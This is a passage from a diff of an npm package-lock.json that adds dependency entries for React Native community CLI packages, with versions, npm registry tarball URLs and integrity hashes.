"sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "peer": true + }, + "cosmiconfig": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/cosmiconfig/-/cosmiconfig-5.2.1.tgz", + "integrity": "sha512-H65gsXo1SKjf8zmrJ67eJk8aIRKV5ff2D4uKZIBZShbhGSpEmsQOPW/SKMKYhSTrqR7ufy6RP69rPogdaPh/kA==", + "peer": true, + "requires": { + "import-fresh": "^2.0.0", + "is-directory": "^0.3.1", + "js-yaml": "^3.13.1", + "parse-json": "^4.0.0" + } + }, + "esprima": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/esprima/-/esprima-4.0.1.tgz", + "integrity": "sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==", + "peer": true + }, + "glob": { + "version": "7.2.3", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz", + "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==", + "peer": true, + "requires": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.1.1", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + } + }, + "has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "peer": true + }, + "js-yaml": { + "version": "3.14.1", + "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.14.1.tgz", + "integrity": "sha512-okMH7OXXJ7YrN9Ok3/SXrnu4iX9yOk+25nqX4imS2npuvTYDmo/QEZoqwZkYaIDk3jVvBOTOIEgEhaLOynBS9g==", + "peer": true, + "requires": { + "argparse": "^1.0.7", + "esprima": "^4.0.0" + } + }, + "minimatch": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz", + "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", + "peer": true, + "requires": { + "brace-expansion": "^1.1.7" + } + }, + "parse-json": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/parse-json/-/parse-json-4.0.0.tgz", + "integrity": "sha512-aOIos8bujGN93/8Ox/jPLh7RwVnPEysynVFE+fQZyg6jKELEHwzgKdLRFHUgXJL6kylijVSBC4BvN9OmsB48Rw==", + "peer": true, + "requires": { + "error-ex": "^1.3.1", + "json-parse-better-errors": "^1.0.1" + } + }, + "supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "peer": true, + "requires": { + "has-flag": "^4.0.0" + } + } + } + }, + "@react-native-community/cli-debugger-ui": { + "version": "10.0.0", + "resolved": "https://registry.npmjs.org/@react-native-community/cli-debugger-ui/-/cli-debugger-ui-10.0.0.tgz", + "integrity": "sha512-8UKLcvpSNxnUTRy8CkCl27GGLqZunQ9ncGYhSrWyKrU9SWBJJGeZwi2k2KaoJi5FvF2+cD0t8z8cU6lsq2ZZmA==", + "peer": true, + "requires": { + "serve-static": "^1.13.1" + } + }, + "@react-native-community/cli-doctor": { + "version": "10.2.0", + "resolved": "https://registry.npmjs.org/@react-native-community/cli-doctor/-/cli-doctor-10.2.0.tgz", + "integrity": "sha512-yLxJazUmNSPslHxeeev0gLvsK0nQan8BmGWbtqPz2WwbIbD89vbytC7G96OxiQXr46iWEWAwEJiTTdgA7jlA5Q==", + "peer": true, + "requires": { + "@react-native-community/cli-config": "^10.1.1", + "@react-native-community/cli-platform-ios": "^10.2.0", + "@react-native-community/cli-tools": "^10.1.1", + "chalk": "^4.1.2", + "command-exists": "^1.2.8", + "envinfo": "^7.7.2", + "execa": "^1.0.0", + "hermes-profile-transformer": "^0.0.6", + "ip": "^1.1.5", + "node-stream-zip": "^1.9.1", + "ora": "^5.4.1", + "prompts": "^2.4.0", + "semver": "^6.3.0", + "strip-ansi": "^5.2.0", + "sudo-prompt": "^9.0.0", + "wcwidth": "^1.0.1" + }, + "dependencies": { + "@react-native-community/cli-platform-ios": { + "version": "10.2.0", + "resolved": "https://registry.npmjs.org/@react-native-community/cli-platform-ios/-/cli-platform-ios-10.2.0.tgz", + "integrity": "sha512-hIPK3iL/mL+0ChXmQ9uqqzNOKA48H+TAzg+hrxQLll/6dNMxDeK9/wZpktcsh8w+CyhqzKqVernGcQs7tPeKGw==", + "peer": true, + "requires": { + "@react-native-community/cli-tools": "^10.1.1", + "chalk": "^4.1.2", + "execa": "^1.0.0", + "fast-xml-parser": "^4.0.12", + "glob": "^7.1.3", + "ora": "^5.4.1" + } + }, + "ansi-regex": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-4.1.1.tgz", + "integrity": "sha512-ILlv4k/3f6vfQ4OoP2AGvirOktlQ98ZEL1k9FaQjxa3L1abBgbuTDAdPOpvbGncC0BTVQrl+OM8xZGK6tWXt7g==", + "peer": true + }, + "ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "peer": true, + "requires": { + "color-convert": "^2.0.1" + } + }, + "chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "peer": true, + "requires": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + } + }, + "color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "peer": true, + "requires": { + "color-name": "~1.1.4" + } + }, + "color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "peer": true + }, + "cross-spawn": { + "version": "6.0.5", + "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-6.0.5.tgz", + "integrity": "sha512-eTVLrBSt7fjbDygz805pMnstIs2VTBNkRm0qxZd+M7A5XDdxVRWO5MxGBXZhjY4cqLYLdtrGqRf8mBPmzwSpWQ==", + "peer": true, + "requires": { + "nice-try": "^1.0.4", + "path-key": "^2.0.1", + "semver": "^5.5.0", + "shebang-command": "^1.2.0", + "which": "^1.2.9" + }, + "dependencies": { + "semver": { + "version": "5.7.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz", + "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ==", + "peer": true + } + } + }, + "execa": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/execa/-/execa-1.0.0.tgz", + "integrity": "sha512-adbxcyWV46qiHyvSp50TKt05tB4tK3HcmF7/nxfAdhnox83seTDbwnaqKO4sXRy7roHAIFqJP/Rw/AuEbX61LA==", + "peer": true, + "requires": { + "cross-spawn": "^6.0.0", + "get-stream": "^4.0.0", + "is-stream": "^1.1.0", + "npm-run-path": "^2.0.0", + "p-finally": "^1.0.0", + "signal-exit": "^3.0.0", + "strip-eof": "^1.0.0" + } + }, + "get-stream": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-4.1.0.tgz", + "integrity": "sha512-GMat4EJ5161kIy2HevLlr4luNjBgvmj413KaQA7jt4V8B4RDsfpHk7WQ9GVqfYyyx8OS/L66Kox+rJRNklLK7w==", + "peer": true, + "requires": { + "pump": "^3.0.0" + } + }, + "glob": { + "version": "7.2.3", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz", + "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==", + "peer": true, + "requires": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.1.1", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + } + }, + "has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "peer": true + }, + "minimatch": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz", + "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", + "peer": true, + "requires": { + "brace-expansion": "^1.1.7" + } + }, + "pump": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/pump/-/pump-3.0.0.tgz", + "integrity": "sha512-LwZy+p3SFs1Pytd/jYct4wpv49HiYCqd9Rlc5ZVdk0V+8Yzv6jR5Blk3TRmPL1ft69TxP0IMZGJ+WPFU2BFhww==", + "peer": true, + "requires": { + "end-of-stream": "^1.1.0", + "once": "^1.3.1" + } + }, + "semver": { + "version": "6.3.0", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", + "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==", + "peer": true + }, + "strip-ansi": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-5.2.0.tgz", + "integrity": "sha512-DuRs1gKbBqsMKIZlrffwlug8MHkcnpjs5VPmL1PAh+mA30U0DTotfDZ0d2UUsXpPmPmMMJ6W773MaA3J+lbiWA==", + "peer": true, + "requires": { + "ansi-regex": "^4.1.0" + } + }, + "supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "peer": true, + "requires": { + "has-flag": "^4.0.0" + } + } + } + }, + "@react-native-community/cli-hermes": { + "version": "10.2.0", + "resolved": "https://registry.npmjs.org/@react-native-community/cli-hermes/-/cli-hermes-10.2.0.tgz", + "integrity": "sha512-urfmvNeR8IiO/Sd92UU3xPO+/qI2lwCWQnxOkWaU/i2EITFekE47MD6MZrfVulRVYRi5cuaFqKZO/ccOdOB/vQ==", + "peer": true, + "requires": { + "@react-native-community/cli-platform-android": "^10.2.0", + "@react-native-community/cli-tools": "^10.1.1", + "chalk": "^4.1.2", + "hermes-profile-transformer": "^0.0.6", + "ip": "^1.1.5" + }, + "dependencies": { + "@react-native-community/cli-platform-android": { + "version": "10.2.0", + "resolved": "https://registry.npmjs.org/@react-native-community/cli-platform-android/-/cli-platform-android-10.2.0.tgz", + "integrity": "sha512-CBenYwGxwFdObZTn1lgxWtMGA5ms2G/ALQhkS+XTAD7KHDrCxFF9yT/fnAjFZKM6vX/1TqGI1RflruXih3kAhw==", + "peer": true, + "requires": { + "@react-native-community/cli-tools": "^10.1.1", + "chalk": "^4.1.2", + "execa": "^1.0.0", + "glob": "^7.1.3", + "logkitty": "^0.7.1" + } + }, + "ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "peer": true, + "requires": { + "color-convert": "^2.0.1" + } + }, + "chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "peer": true, + "requires": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + } + }, + "color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "peer": true, + "requires": { + "color-name": "~1.1.4" + } + }, + "color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "peer": true + }, + "cross-spawn": { + "version": "6.0.5", + "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-6.0.5.tgz", + "integrity": "sha512-eTVLrBSt7fjbDygz805pMnstIs2VTBNkRm0qxZd+M7A5XDdxVRWO5MxGBXZhjY4cqLYLdtrGqRf8mBPmzwSpWQ==", + "peer": true, + "requires": { + "nice-try": "^1.0.4", + "path-key": "^2.0.1", + "semver": "^5.5.0", + "shebang-command": "^1.2.0", + "which": "^1.2.9" + } + }, + "execa": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/execa/-/execa-1.0.0.tgz", + "integrity": "sha512-adbxcyWV46qiHyvSp50TKt05tB4tK3HcmF7/nxfAdhnox83seTDbwnaqKO4sXRy7roHAIFqJP/Rw/AuEbX61LA==", + "peer": true, + "requires": { + "cross-spawn": "^6.0.0", + "get-stream": "^4.0.0", + "is-stream": "^1.1.0", + "npm-run-path": "^2.0.0", + "p-finally": "^1.0.0", + "signal-exit": "^3.0.0", + "strip-eof": "^1.0.0" + } + }, + "get-stream": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-4.1.0.tgz", + "integrity": "sha512-GMat4EJ5161kIy2HevLlr4luNjBgvmj413KaQA7jt4V8B4RDsfpHk7WQ9GVqfYyyx8OS/L66Kox+rJRNklLK7w==", + "peer": true, + "requires": { + "pump": "^3.0.0" + } + }, + "glob": { + "version": "7.2.3", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz", + "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==", + "peer": true, + "requires": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.1.1", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + } + }, + "has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "peer": true + }, + "minimatch": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz", + "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", + "peer": true, + "requires": { + "brace-expansion": "^1.1.7" + } + }, + "pump": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/pump/-/pump-3.0.0.tgz", + "integrity": "sha512-LwZy+p3SFs1Pytd/jYct4wpv49HiYCqd9Rlc5ZVdk0V+8Yzv6jR5Blk3TRmPL1ft69TxP0IMZGJ+WPFU2BFhww==", + "peer": true, + "requires": { + "end-of-stream": "^1.1.0", + "once": "^1.3.1" + } + }, + "supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "peer": true, + "requires": { + "has-flag": "^4.0.0" + } + } + } + }, + "@react-native-community/cli-platform-android": { + "version": "10.1.3", + "resolved": "https://registry.npmjs.org/@react-native-community/cli-platform-android/-/cli-platform-android-10.1.3.tgz", + "integrity": "sha512-8YZEpBL6yd9l4CIoFcLOgrV8x2GDujdqrdWrNsNERDAbsiFwqAQvfjyyb57GAZVuEPEJCoqUlGlMCwOh3XQb9A==", + "peer": true, + "requires": { + "@react-native-community/cli-tools": "^10.1.1", + "chalk": "^4.1.2", + "execa": "^1.0.0", + "glob": "^7.1.3", + "logkitty": "^0.7.1" + }, + "dependencies": { + "ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "peer": true, + "requires": { + "color-convert": "^2.0.1" + } + }, + "chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "peer": true, + "requires": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + } + }, + "color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "peer": true, + "requires": { + "color-name": "~1.1.4" + } + }, + "color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "peer": true + }, + "cross-spawn": { + "version": "6.0.5", + "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-6.0.5.tgz", + "integrity": "sha512-eTVLrBSt7fjbDygz805pMnstIs2VTBNkRm0qxZd+M7A5XDdxVRWO5MxGBXZhjY4cqLYLdtrGqRf8mBPmzwSpWQ==", + "peer": true, + "requires": { + "nice-try": "^1.0.4", + "path-key": "^2.0.1", + "semver": "^5.5.0", + "shebang-command": "^1.2.0", + "which": "^1.2.9" + } + }, + "execa": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/execa/-/execa-1.0.0.tgz", + "integrity": "sha512-adbxcyWV46qiHyvSp50TKt05tB4tK3HcmF7/nxfAdhnox83seTDbwnaqKO4sXRy7roHAIFqJP/Rw/AuEbX61LA==", + "peer": true, + "requires": { + "cross-spawn": "^6.0.0", + "get-stream": "^4.0.0", + "is-stream": "^1.1.0", + "npm-run-path": "^2.0.0", + "p-finally": "^1.0.0", + "signal-exit": "^3.0.0", + "strip-eof": "^1.0.0" + } + }, + "get-stream": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-4.1.0.tgz", + "integrity": "sha512-GMat4EJ5161kIy2HevLlr4luNjBgvmj413KaQA7jt4V8B4RDsfpHk7WQ9GVqfYyyx8OS/L66Kox+rJRNklLK7w==", + "peer": true, + "requires": { + "pump": "^3.0.0" + } + }, + "glob": { + "version": "7.2.3", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz", + "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==", + "peer": true, + "requires": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.1.1", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + } + }, + "has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "peer": true + }, + "minimatch": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz", + "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", + "peer": true, + "requires": { + "brace-expansion": "^1.1.7" + } + }, + "pump": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/pump/-/pump-3.0.0.tgz", + "integrity": "sha512-LwZy+p3SFs1Pytd/jYct4wpv49HiYCqd9Rlc5ZVdk0V+8Yzv6jR5Blk3TRmPL1ft69TxP0IMZGJ+WPFU2BFhww==", + "peer": true, + "requires": { + "end-of-stream": "^1.1.0", + "once": "^1.3.1" + } + }, + "supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "peer": true, + "requires": { + "has-flag": "^4.0.0" + } + } + } + }, + "@react-native-community/cli-platform-ios": { + "version": "10.1.1", + "resolved": "https://registry.npmjs.org/@react-native-community/cli-platform-ios/-/cli-platform-ios-10.1.1.tgz", + "integrity": "sha512-EB9/L8j1LqrqyfJtLRixU+d8FIP6Pr83rEgUgXgya/u8wk3h/bvX70w+Ff2skwjdPLr5dLUQ/n5KFX4r3bsNmA==", + "peer": true, + "requires": { + "@react-native-community/cli-tools": "^10.1.1", + "chalk": "^4.1.2", + "execa": "^1.0.0", + "glob": "^7.1.3", + "ora": "^5.4.1" + }, + "dependencies": { + "ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "peer": true, + "requires": { + "color-convert": "^2.0.1" + } + }, + "chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "peer": true, + "requires": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + } + }, + "color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "peer": true, + "requires": { + "color-name": "~1.1.4" + } + }, + "color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "peer": true + }, + "cross-spawn": { + "version": "6.0.5", + "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-6.0.5.tgz", + "integrity": "sha512-eTVLrBSt7fjbDygz805pMnstIs2VTBNkRm0qxZd+M7A5XDdxVRWO5MxGBXZhjY4cqLYLdtrGqRf8mBPmzwSpWQ==", + "peer": true, + "requires": { + "nice-try": "^1.0.4", + "path-key": "^2.0.1", + "semver": "^5.5.0", + "shebang-command": "^1.2.0", + "which": "^1.2.9" + } + }, + "execa": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/execa/-/execa-1.0.0.tgz", + "integrity": "sha512-adbxcyWV46qiHyvSp50TKt05tB4tK3HcmF7/nxfAdhnox83seTDbwnaqKO4sXRy7roHAIFqJP/Rw/AuEbX61LA==", + "peer": true, + "requires": { + "cross-spawn": "^6.0.0", + "get-stream": "^4.0.0", + "is-stream": "^1.1.0", + "npm-run-path": "^2.0.0", + "p-finally": "^1.0.0", + "signal-exit": "^3.0.0", + "strip-eof": "^1.0.0" + } + }, + "get-stream": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-4.1.0.tgz", + "integrity": "sha512-GMat4EJ5161kIy2HevLlr4luNjBgvmj413KaQA7jt4V8B4RDsfpHk7WQ9GVqfYyyx8OS/L66Kox+rJRNklLK7w==", + "peer": true, + "requires": { + "pump": "^3.0.0" + } + }, + "glob": { + "version": "7.2.3", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz", + "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==", + "peer": true, + "requires": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.1.1", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + } + }, + "has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "peer": true + }, + "minimatch": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz", + "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", + "peer": true, + "requires": { + "brace-expansion": "^1.1.7" + } + }, + "pump": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/pump/-/pump-3.0.0.tgz", + "integrity": "sha512-LwZy+p3SFs1Pytd/jYct4wpv49HiYCqd9Rlc5ZVdk0V+8Yzv6jR5Blk3TRmPL1ft69TxP0IMZGJ+WPFU2BFhww==", + "peer": true, + "requires": { + "end-of-stream": "^1.1.0", + "once": "^1.3.1" + } + }, + "supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "peer": true, + "requires": { + "has-flag": "^4.0.0" + } + } + } + }, + "@react-native-community/cli-plugin-metro": { + "version": "10.2.0", + "resolved": "https://registry.npmjs.org/@react-native-community/cli-plugin-metro/-/cli-plugin-metro-10.2.0.tgz", + "integrity": "sha512-9eiJrKYuauEDkQLCrjJUh7tS9T0oaMQqVUSSSuyDG6du7HQcfaR4mSf21wK75jvhKiwcQLpsFmMdctAb+0v+Cg==", + "peer": true, + "requires": { + "@react-native-community/cli-server-api": "^10.1.1", + "@react-native-community/cli-tools": "^10.1.1", + "chalk": "^4.1.2", + "execa": "^1.0.0", + "metro": "0.73.8", + "metro-config": "0.73.8", + "metro-core": "0.73.8", + "metro-react-native-babel-transformer": "0.73.8", + "metro-resolver": "0.73.8", + "metro-runtime": "0.73.8", + "readline": "^1.3.0" + }, + "dependencies": { + "ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "peer": true, + "requires": { + "color-convert": "^2.0.1" + } + }, + "chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": 